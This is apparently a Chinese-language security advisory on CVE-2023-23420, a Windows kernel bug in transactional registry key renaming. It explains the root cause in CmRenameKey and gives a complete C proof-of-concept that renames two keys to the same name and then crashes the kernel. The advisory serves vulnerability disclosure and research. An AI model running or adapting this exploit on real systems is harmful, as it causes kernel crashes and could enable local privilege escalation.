- cve-2023-23420
Windows 中就地重命名注册表项的操作在 NtRenameKey 系统调用中实现,大部分核心逻辑在内部 CmRenameKey 函数(由 NtRenameKey 调用)中找到。为了保持 hive 数据库的状态一致,内核防止键名冲突很重要,如果已经存在另一个具有该名称的键,则永远不要接受重命名键的新名称。这是通过调用 CmpFindSubKeyByNameWithStatus 并在新名称已存在时返回 STATUS_CANNOT_DELETE 来实现的。这足以防止与配置单元中持久存在的子键发生冲突。
然而,还有一类键在 Hive 结构中还没有全局可见的键节点,但具有相应的 KCB 并且实际上存在于事务范围内:尚未提交的事务创建/重命名键. 在这个阶段,它们无法通过 CmpFindSubKeyByNameWithStatus 找到,但是 NtRenameKey/CmRenameKey 应该考虑到它们。它们目前在事务重命名案例中没有得到正确处理,这可能导致配置单元状态不一致、内存损坏和本地攻击者潜在的特权提升。
CmRenameKey 中的具体逻辑对我们来说似乎有些不直观,我们无法基于逆向工程来完全解释它。该函数知道一个密钥的 KCB 可能已经存在的事实,因为它试图通过调用 CmpFindKcbInHashEntryByName 来找到它。仅当未找到 KCB 时,才会使用 CmpCreateKeyControlBlock 分配一个新的。尽管如此,即使为新密钥名称找到了现有的 KCB,也不会进行任何进一步的检查以验证事务处理分支中 KCB 的状态(密钥是否处于活动状态?它是否处于删除/卸载状态等) .?). 相反,CmRenameKey 似乎假定 KCB 处于新鲜/未使用状态并完全拥有它,忽略对象的任何现有状态和依赖项。这表现在几个方面:
1) 例程无条件地覆盖 KCB 的部分内容,特别是 KCB.KeyCell 和 KCB.TransKCBOwner 字段(可能已经设置为不同的值)。 2) 例程在 KCB 上调用 CmpLockIXLockExclusive 两次而不检查返回值,就好像该函数永远不会失败(如果 KCB 的锁已经被另一个事务占用,它就会失败)。 3) 如果稍后在 CmRenameKey 期间遇到任何错误,则通过调用 CmpMarkKeyUnbacked/CmpDereferenceKeyControlBlockWithLock 销毁 KCB,并且不会尝试保留其现有状态。
我们发现以上是一个强有力的指标,表明该函数假设在 KCB 的新副本上运行,即使它在 CmpFindKcbInHashEntryByName 返回时可能已完全初始化并起作用。
原则上,触发漏洞需要三个步骤:
1) 通过创建(例如 RegCreateKeyEx)或重命名(例如 RegRenameKey)操作以事务方式创建测试密钥,但不要提交它。 2) 事务性地将另一个键重命名为步骤 1 中键的名称。 3) 提交步骤 1/2 中的事务。
从理论上讲,这应该会导致创建两个具有相同名称的子项,这通常是不可能的,但需要一些工作才能转换为内存损坏原语。
在实践中,由于 CmpAddSubKeyToList/CmpAddToLeaf 函数之间面临重复键名的混淆,我们立即得到数据库的不一致状态:_CM_KEY_NODE.SubKeyCounts[1] 等于 0x2,但 _CM_KEY_NODE.SubKeyLists[ 指向的键索引1] 只有一个条目。 附件是一个概念验证漏洞,它执行以下步骤:
- 创建 HKCU\Test\AAAA 和 HKCU\Test\BBBB 。
- 将两个子项事务性地重命名为 HKCU\Test\CCCC。
- 提交事务。
- 尝试通过 RegDeleteTree 递归删除整个 HKCU\Test 树。
第 2-3 步触发错误,第 4 步触发内核崩溃。发生的情况是,一旦 HCKU\Test\CCCC 第一次被删除,子键索引变为空,因此 _CM_KEY_NODE.SubKeyLists[1] 单元格索引重置为 -1 (0xFFFFFFFF)。但是 _CM_KEY_NODE.SubKeyCounts[1] 仅从 0x2 递减到 0x1,因此当 RegDeleteTree API 尝试再次枚举子键以查找下一个要删除的键时,内核尝试将无效的 -1 索引转换为虚拟地址,并生成未处理的异常。
poc:
#include <Windows.h>
#include <ktmw32.h>
#include <sddl.h>
#include <cstdio>
#pragma comment(lib, "ktmw32")
int main(int argc, char** argv) {
LSTATUS st;
//
// Create two test keys under HKCU\Test.
//
HKEY hTestKeyA, hTestKeyB;
st = RegCreateKeyExA(HKEY_CURRENT_USER,
"Test\\AAAA",
0,
NULL,
REG_OPTION_VOLATILE,
KEY_ALL_ACCESS,
NULL,
&hTestKeyA,
NULL);
if (st != ERROR_SUCCESS) {
printf("RegCreateKeyExA #1 failed with error %d\n", st);
return 1;
}
RegCloseKey(hTestKeyA);
st = RegCreateKeyExA(HKEY_CURRENT_USER,
"Test\\BBBB",
0,
NULL,
REG_OPTION_VOLATILE,
KEY_ALL_ACCESS,
NULL,
&hTestKeyB,
NULL);
if (st != ERROR_SUCCESS) {
printf("RegCreateKeyExA #2 failed with error %d\n", st);
return 1;
}
RegCloseKey(hTestKeyB);
//
// Create a transaction.
//
HANDLE hTrans = CreateTransaction(NULL, NULL, 0, 0, 0, 0, NULL);
if (hTrans == INVALID_HANDLE_VALUE) {
printf("CreateTransaction failed with error %u\n", GetLastError());
return 1;
}
//
// Open the test keys and rename both of them transactionally to the same new
// name.
//
st = RegOpenKeyTransactedA(HKEY_CURRENT_USER,
"Test\\AAAA",
0,
KEY_ALL_ACCESS,
&hTestKeyA,
hTrans,
NULL);
if (st != ERROR_SUCCESS) {
printf("RegOpenKeyTransactedA #1 failed with error %d\n", st);
return 1;
}
st = RegOpenKeyTransactedA(HKEY_CURRENT_USER,
"Test\\BBBB",
0,
KEY_ALL_ACCESS,
&hTestKeyB,
hTrans,
NULL);
if (st != ERROR_SUCCESS) {
printf("RegOpenKeyTransactedA #2 failed with error %d\n", st);
return 1;
}
st = RegRenameKey(hTestKeyA, NULL, L"CCCC");
if (st != ERROR_SUCCESS) {
printf("RegRenameKey #1 failed with error %d\n", st);
return 1;
}
st = RegRenameKey(hTestKeyB, NULL, L"CCCC");
if (st != ERROR_SUCCESS) {
printf("RegRenameKey #2 failed with error %d\n", st);
return 1;
}
//
// Commit the transaction.
//
if (!CommitTransaction(hTrans)) {
printf("CommitTransaction failed with error %u\n", GetLastError());
return 1;
}
//
// Try to recursively delete the test key tree, triggering a crash.
//
RegDeleteTree(HKEY_CURRENT_USER, L"Test");
return 0;
}